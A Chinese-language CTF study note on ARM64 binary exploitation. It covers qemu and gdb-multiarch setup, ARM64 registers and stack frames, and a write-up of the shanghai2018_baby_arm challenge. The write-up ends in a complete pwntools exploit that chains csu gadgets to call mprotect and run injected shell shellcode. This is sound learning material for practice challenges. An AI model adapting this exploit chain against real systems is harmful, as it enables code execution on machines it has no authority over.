ARM pwn 1
ARM pwn 1
之前在HWS 2023冬令营预选赛中遇到过一个ARM的pwn题,因为啥也不会,所以当场就放弃了。
现在备战国赛,鉴于现在赛题越来越花,所以有必要补一补arm的知识。
环境搭建
搭建环境时参考了一下四篇文章
2022CTF培训(八)ARM PWN 环境搭建&ARM PWN 入门
都是神中神
自己总结一下,就是要装qemu-user和gdb-multiarch
之后可以写一个shell脚本start.sh
#!/bin/bash
socat tcp-l:10005,fork exec:"qemu-aarch64 -g 1234 -L ./ ./pwn ",reuseaddr
题目往往会给你一个题目,一个libc和一个ld,你可以把题目文件(假设名字为pwn)放在桌面(别的地方也行),把ld和libc放在一个名为lib的文件夹,把这个lib文件夹放在pwn的同一路径下,然后在这个路径下创建上述start.sh,并运行。
运行起来之后,终端的光标会换行并且没有任何反应。这个时候我们链接127.0.0.1:10005这个端口,就可以执行一个"qemu-aarch64 -g 1234 -L ./ ./pwn "。写成这个样子是为了能方便用python脚本去交互(直接r=remote('127.0.0.1',1234)就行了)
"qemu-aarch64 -g 1234 -L ./ ./pwn "这句话的意思是用qumu这个虚拟机去跑./pwn这个文件(仅适用于arm64的程序,32的应该是qemu-arm),-g 1234是为了方便我们接下来用gdb进行远程调试,在非调试状态下可以不写这个参数。-L ./ ./pwn的意思是把根目录换成./即当前目录。因为很多pwn题都是在根目录下去找lib文件夹中的ld和libc的。
说到gdb,我们做题时免不了要去调试。这里如果你想调试arm的pwn题,由于arm的题要在qemu中运行,所以我们需要用gdb-multiarch进行远程调试。在上面./start.sh加了-g 1234之后,我们可以通过gdb-multiarch启动gdb,然后通过target remote 127.0.0.1:1234进行远程连接。之后可以通过b去正常下断点进行调试。
可以把这些gdb相关操作打包写进一个shell脚本,到时候直接运行就行了
#!/bin/bash
# Start gdb-multiarch and connect to remote target
gdb-multiarch -ex "target remote 127.0.0.1:1237" \
-ex "b *0x400854" -ex "c"
如果还有别的操作,可以多加几个-ex就行了。
远程调试时操作比较麻烦,你可以在exp的remote后面加一个pause,pause会让exp暂停直到你按下任意键,在这个暂停期间你可以赶紧连好gdb,再开始让exp去进行send工作。
基础知识
ARM的题和常规题目略有不同,毕竟换了一种架构,指令集都不一样,虽然说是大同小异,但是变动还挺多的。我也只是初学者,也没完全学明白,这里也只能整理整理最近学的东西,所以有问题的时候,别问我,问chatgpt......(要你有何用?)
(别走!我开玩笑的!)
ARM64中,通用寄存器有X0-X30
X0-X7用来传参,X0是第一个参数,以此顺延
LR寄存器(即X30),链接寄存器(LR):链接寄存器主要用于存储函数调用的返回地址,当函数调用结束后,处理器会将链接寄存器中保存的返回地址加载到程序计数器中,以便继续执行调用函数后的指令。
FP寄存器(即X29),帧指针寄存器,主要用于存储当前栈帧的基地址,它通常用于访问函数的局部变量和参数。
SP寄存器,指向栈顶。
PC寄存器,指向当前指令的下一个指令。ARM64下指令都是4个字节长度,因此它指向当前指令地址+4的地址处
ARM64下的函数栈帧和之前常见的x86的架构下的题目有些不同:
函数的返回地址,保存在LR寄存器中。函数结束时会有一个RET指令,在这里这个指令起的作用就是MOV PC,X30的效果
函数调用通过BL指令实现,这个指令先将下一条指令的地址(即PC的内容)存进LR寄存器,再进行跳转(相当于jmp)
每一个函数在一开始时,会先减小SP并在栈帧顶部保存上一个函数的FP和当前LR(通过STP指令实现),当前LR,即该函数的返回地址。函数结束时,会先通过LDP指令,根据SP找到栈顶保存的FP和LR,并将其恢复,然后利用RET指令返回。
这里栈桢结构的变化主要集中于返回地址移到了栈顶,即在该函数的局部变量区的上方,因此导致相比x86架构,其中一些利用的细节发生了改变。
一些其他的基础知识问题,比如说某个指令的作用,仅仅是熟练度不足的问题。如果你之前学习过x86的汇编语言,学习arm的汇编只是时间和熟练度的问题,建议不懂的多多百度和问chargpt。
shanghai2018_baby_arm
这题在buu上有,右手就行
程序提供了mprotect,可以修改bss段的权限并执行shellcode
第一次read写bss段,第二次read有栈溢出,溢出时可以改掉main的返回地址
ARM64下一样有类似ret2csu的技巧,你翻一翻就能找到,几乎一模一样,就是栈空间的布局变了。
有一点要注意,在从栈上喷出数据给X29和X30的那条指令后面有一个后缀#0X40,这个正好会让SP下移,因此我们可以继续向下布置第二次csu_2这段gadget所需的数据
.text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j
.text:00000000004008AC A3 7A 73 F8 LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 E2 03 16 AA MOV X2, X22
.text:00000000004008B4 E1 03 17 AA MOV X1, X23
.text:00000000004008B8 E0 03 18 2A MOV W0, W24
.text:00000000004008BC 73 06 00 91 ADD X19, X19, #1
.text:00000000004008C0 60 00 3F D6 BLR X3
.text:00000000004008C0
.text:00000000004008C4 7F 02 14 EB CMP X19, X20
.text:00000000004008C8 21 FF FF 54 B.NE loc_4008AC
.text:00000000004008C8
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j
.text:00000000004008CC F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC C0 03 5F D6 RET
下面是这个题的exp:
from pwn import *
context.arch='aarch64'
context.terminal=['tmux','splitw','-h']
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
e=ELF(ELFpath)
#r=remote("127.0.0.1",10005)
r=remote('node4.buuoj.cn',25791)
pause() #b*0x400854
mprotect_addr=e.plt['mprotect']
shellcode=asm(shellcraft.sh())
pay2=p64(mprotect_addr)+shellcode
bss_start=0x411068
r.send(pay2)
pause()
csu_1=0x4008AC
csu_2=0x4008CC
pay1 =cyclic(72-8)
pay1+=p64(0)
pay1+=p64(csu_2)
pay1+=p64(0) #x29
pay1+=p64(csu_1) #x30
pay1+=p64(0) #x19
pay1+=p64(1) #x20
pay1+=p64(bss_start) #x21 BL
pay1+=p64(7) #x22 -> x2
pay1+=p64(0x1000) #x23 -> x1
pay1+=p64(bss_start) #x24 -> x0
pay1+=p64(0)
pay1+=p64(bss_start+8)
r.recvuntil("Name:")
r.send(pay1)
r.interactive()